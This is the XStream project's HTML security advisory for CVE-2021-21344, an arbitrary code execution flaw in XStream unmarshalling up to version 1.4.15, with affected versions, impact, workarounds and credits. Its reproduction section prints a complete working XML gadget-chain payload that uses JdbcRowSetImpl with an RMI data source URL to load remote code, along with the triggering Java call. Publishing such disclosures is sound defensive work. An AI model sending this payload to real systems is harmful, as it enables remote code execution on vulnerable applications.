Codebase list libxstream-java / db725b78-e06f-4bbe-9729-33eea41d84e7/main xstream-distribution / src / content / CVE-2021-21344.html
db725b78-e06f-4bbe-9729-33eea41d84e7/main

Tree @db725b78-e06f-4bbe-9729-33eea41d84e7/main (Download .tar.gz)

CVE-2021-21344.html @db725b78-e06f-4bbe-9729-33eea41d84e7/mainraw · history · blame

<html>
<!--
 Copyright (C) 2021 XStream committers.
 All rights reserved.
 
 The software in this package is published under the terms of the BSD
 style license a copy of which has been included with this distribution in
 the LICENSE.txt file.
 
 Created on 19. January 2021 by Joerg Schaible
 -->
  <head>
    <title>CVE-2021-21344</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>
    
    <p>CVE-2021-21344: XStream is vulnerable to an Arbitrary Code Execution attack.</p>
	
    <h2 id="affected_versions">Affected Versions</h2>
    
	<p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is
	affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
	framework</a> with a whitelist limited to the minimal required types.</p>

    <h2 id="description">Description</h2>
    
    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

	<p>Create a simple PriorityQueue and use XStream to marshal it to XML.  Replace the XML with following snippet and
	unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
  &lt;unserializable-parents/&gt;
  &lt;java.util.PriorityQueue&gt;
    &lt;default&gt;
      &lt;size&gt;2&lt;/size&gt;
      &lt;comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'&gt;
        &lt;indexMap class='com.sun.xml.internal.ws.client.ResponseContext'&gt;
          &lt;packet&gt;
            &lt;message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'&gt;
              &lt;dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'&gt;
                &lt;bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'&gt;
                  &lt;bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'&gt;
                    &lt;bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'&gt;
                      &lt;jaxbType&gt;com.sun.rowset.JdbcRowSetImpl&lt;/jaxbType&gt;
                      &lt;uriProperties/&gt;
                      &lt;attributeProperties/&gt;
                      &lt;inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'&gt;
                        &lt;getter&gt;
                          &lt;class&gt;com.sun.rowset.JdbcRowSetImpl&lt;/class&gt;
                          &lt;name&gt;getDatabaseMetaData&lt;/name&gt;
                          &lt;parameter-types/&gt;
                        &lt;/getter&gt;
                      &lt;/inheritedAttWildcard&gt;
                    &lt;/bi&gt;
                    &lt;tagName/&gt;
                    &lt;context&gt;
                      &lt;marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'&gt;
                        &lt;outer-class reference='../..'/&gt;
                      &lt;/marshallerPool&gt;
                      &lt;nameList&gt;
                        &lt;nsUriCannotBeDefaulted&gt;
                          &lt;boolean&gt;true&lt;/boolean&gt;
                        &lt;/nsUriCannotBeDefaulted&gt;
                        &lt;namespaceURIs&gt;
                          &lt;string&gt;1&lt;/string&gt;
                        &lt;/namespaceURIs&gt;
                        &lt;localNames&gt;
                          &lt;string&gt;UTF-8&lt;/string&gt;
                        &lt;/localNames&gt;
                      &lt;/nameList&gt;
                    &lt;/context&gt;
                  &lt;/bridge&gt;
                &lt;/bridge&gt;
                &lt;jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'&gt;
                  &lt;javax.sql.rowset.BaseRowSet&gt;
                    &lt;default&gt;
                      &lt;concurrency&gt;1008&lt;/concurrency&gt;
                      &lt;escapeProcessing&gt;true&lt;/escapeProcessing&gt;
                      &lt;fetchDir&gt;1000&lt;/fetchDir&gt;
                      &lt;fetchSize&gt;0&lt;/fetchSize&gt;
                      &lt;isolation&gt;2&lt;/isolation&gt;
                      &lt;maxFieldSize&gt;0&lt;/maxFieldSize&gt;
                      &lt;maxRows&gt;0&lt;/maxRows&gt;
                      &lt;queryTimeout&gt;0&lt;/queryTimeout&gt;
                      &lt;readOnly&gt;true&lt;/readOnly&gt;
                      &lt;rowSetType&gt;1004&lt;/rowSetType&gt;
                      &lt;showDeleted&gt;false&lt;/showDeleted&gt;
                      &lt;dataSource&gt;rmi://localhost:15000/CallRemoteMethod&lt;/dataSource&gt;
                      &lt;params/&gt;
                    &lt;/default&gt;
                  &lt;/javax.sql.rowset.BaseRowSet&gt;
                  &lt;com.sun.rowset.JdbcRowSetImpl&gt;
                    &lt;default&gt;
                      &lt;iMatchColumns&gt;
                        &lt;int&gt;-1&lt;/int&gt;
                        &lt;int&gt;-1&lt;/int&gt;
                        &lt;int&gt;-1&lt;/int&gt;
                        &lt;int&gt;-1&lt;/int&gt;
                        &lt;int&gt;-1&lt;/int&gt;
                        &lt;int&gt;-1&lt;/int&gt;
                        &lt;int&gt;-1&lt;/int&gt;
                        &lt;int&gt;-1&lt;/int&gt;
                        &lt;int&gt;-1&lt;/int&gt;
                        &lt;int&gt;-1&lt;/int&gt;
                      &lt;/iMatchColumns&gt;
                      &lt;strMatchColumns&gt;
                        &lt;string&gt;foo&lt;/string&gt;
                        &lt;null/&gt;
                        &lt;null/&gt;
                        &lt;null/&gt;
                        &lt;null/&gt;
                        &lt;null/&gt;
                        &lt;null/&gt;
                        &lt;null/&gt;
                        &lt;null/&gt;
                        &lt;null/&gt;
                      &lt;/strMatchColumns&gt;
                    &lt;/default&gt;
                  &lt;/com.sun.rowset.JdbcRowSetImpl&gt;
                &lt;/jaxbObject&gt;
              &lt;/dataSource&gt;
            &lt;/message&gt;
            &lt;satellites/&gt;
            &lt;invocationProperties/&gt;
          &lt;/packet&gt;
        &lt;/indexMap&gt;
      &lt;/comparator&gt;
    &lt;/default&gt;
    &lt;int&gt;3&lt;/int&gt;
    &lt;string&gt;javax.xml.ws.binding.attachments.inbound&lt;/string&gt;
    &lt;string&gt;javax.xml.ws.binding.attachments.inbound&lt;/string&gt;
  &lt;/java.util.PriorityQueue&gt;
&lt;/java.util.PriorityQueue&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

    <p>As soon as the XML gets unmarshalled, the code from the remote server is loaded and executed.</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

	<p>The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by
	manipulating the processed input stream.</p>

    <h2 id="workarounds">Workarounds</h2>

    <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

    <h2 id="credits">Credits</h2>
    
    <p>钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.</p>
    
  	</body>
 </html>